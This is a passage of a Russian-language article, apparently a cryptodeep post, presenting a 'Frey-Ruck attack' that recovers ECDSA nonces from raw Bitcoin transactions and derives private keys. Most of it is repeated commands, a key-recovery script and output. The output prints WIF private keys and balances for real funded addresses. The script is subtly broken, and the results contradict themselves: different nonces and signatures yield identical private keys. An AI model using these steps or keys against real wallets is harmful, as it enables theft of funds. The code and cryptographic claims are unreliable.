x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/155/415/fa0/155415fa07990424ad33f40c93447d5d.png)
PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
Откроем bitaddress и проверим:
ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
WIF: KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr
HEX: 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
![](https://habrastorage.org/getpro/habr/upload_files/999/ed4/12c/999ed412ce7d4070d9376683554ae14c.png)
https://www.blockchain.com/btc/address/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
Приватный ключ найден!
![](https://habrastorage.org/getpro/habr/upload_files/c03/da2/bb8/c03da2bb8ff1ddef34cd9079372661e6.png)
BALANCE: $ 706.27
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID:
4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af для этого же Биткоин Адреса
Подготовим RawTX для атаки
12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
https://btc.exan.tech/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
![](https://habrastorage.org/getpro/habr/upload_files/9c2/30b/6d7/9c230b6d7a747a13f808e086f5ad9ea6.png)
RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000
![](https://habrastorage.org/getpro/habr/upload_files/4b3/10d/cd3/4b310dcd3b6987703888dcdb00d84403.png)
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/1df/b9b/981/1dfb9b9816f5346db1dcb9eecc5ea848.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/d35/397/3af/d353973af3750dedf4f812f6db4062f5.png)
Deployments ECDSA:
SecretKey = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
![](https://habrastorage.org/getpro/habr/upload_files/5e8/8ba/b11/5e88bab1101f8479ff1e1621eb448282.png)
(0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
point2gen = (0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)
ВСЕ ВЕРНО!
K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/569/b94/ae5/569b94ae5eaad506d58b30b651235ac0.png)
PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
Откроем bitaddress и проверим:
ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
WIF: KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr
HEX: 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
![](https://habrastorage.org/getpro/habr/upload_files/d3e/c3d/9fa/d3ec3d9faabeac70858b2b366470f445.png)
https://www.blockchain.com/btc/address/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
Приватный ключ найден!
![](https://habrastorage.org/getpro/habr/upload_files/345/7d7/404/3457d740494ad7933253fedb3a6e2568.png)
BALANCE: $ 706.27
№5
При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:
19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
https://btc.exan.tech/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
https://btc.exan.tech/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
![](https://habrastorage.org/getpro/habr/upload_files/97f/820/c1c/97f820c1c952334e0cadf5689e3f725d.png)
![](https://habrastorage.org/getpro/habr/upload_files/50d/e0c/caf/50de0ccaf42117d5b239c058e28858cd.png)
Подготовим RawTX для атаки
19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
https://btc.exan.tech/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
![](https://habrastorage.org/getpro/habr/upload_files/328/d00/dff/328d00dff4f178abc5162f70b81268ee.png)
RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000
![](https://habrastorage.org/getpro/habr/upload_files/957/4ca/18e/9574ca18e7bdf561eefaa3eebfdbef8d.png)
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/009/924/71b/00992471b7014db591e7f9ee4dadbe4f.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/de5/4e5/588/de54e558817c755f2e8dd6ecaa8419cb.png)
Deployments ECDSA:
SecretKey = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
![](https://habrastorage.org/getpro/habr/upload_files/4a3/0a0/09c/4a30a009c93a4acab8f196d359e2ad4c.png)
(0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
point2gen = (0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)
ВСЕ ВЕРНО!
K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/f04/525/bf0/f04525bf0843613a993671a984b91de6.png)
PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
Откроем bitaddress и проверим:
ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF: KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve
HEX: 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
![](https://habrastorage.org/getpro/habr/upload_files/bd7/731/775/bd77317755eeec63650f219dc0d33332.png)
https://www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
Приватный ключ найден!
![www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac](https://habrastorage.org/getpro/habr/upload_files/922/73d/f14/92273df14dab57a224552c01f93d668e.png)
BALANCE: $ 702.32
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID:
e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea для этого же Биткоин Адреса
Подготовим RawTX для атаки
19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
https://btc.exan.tech/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
![](https://habrastorage.org/getpro/habr/upload_files/b2f/b69/be7/b2fb69be7b1517ed55ce643b97c83706.png)
RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000
![](https://habrastorage.org/getpro/habr/upload_files/35e/32b/357/35e32b35748634f9e296b86c31945547.png)
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/43a/902/c41/43a902c418fe3cd6c92e5269728ce357.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/65e/4ff/922/65e4ff922e475e9c89c8d3a231111753.png)
Deployments ECDSA:
SecretKey = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
![](https://habrastorage.org/getpro/habr/upload_files/d19/367/f15/d19367f15267d0b8a40599a53f3eb7b5.png)
(0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
point2gen = (0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)
ВСЕ ВЕРНО!
K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/c42/806/95d/c4280695d8f6e446e9dce11a176310bd.png)
PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
Откроем bitaddress и проверим:
ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF: KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve
HEX: 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
![](https://habrastorage.org/getpro/habr/upload_files/350/63a/60e/35063a60e287b6b7c1e86ee57dc57ba2.png)
https://www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
Приватный ключ найден!
![www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac](https://habrastorage.org/getpro/habr/upload_files/f2a/6f8/06e/f2a6f806ea59664ae04ff94425f8e63b.png)
BALANCE: $ 702.32
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/wqHES7r1qyc
Источник: https://cryptodeep.ru/frey-ruck-attack
BOGATEYES
Благодарю Вас! Хоть статья объемный, но очень полезный и интересный особенно спасибо за содержательную видео инструкцию . Я давно подписан на ваш Ютуб Канал. Продолжайте проводить криптоанализ, уязвимости это краеугольный камень всего блокчейна.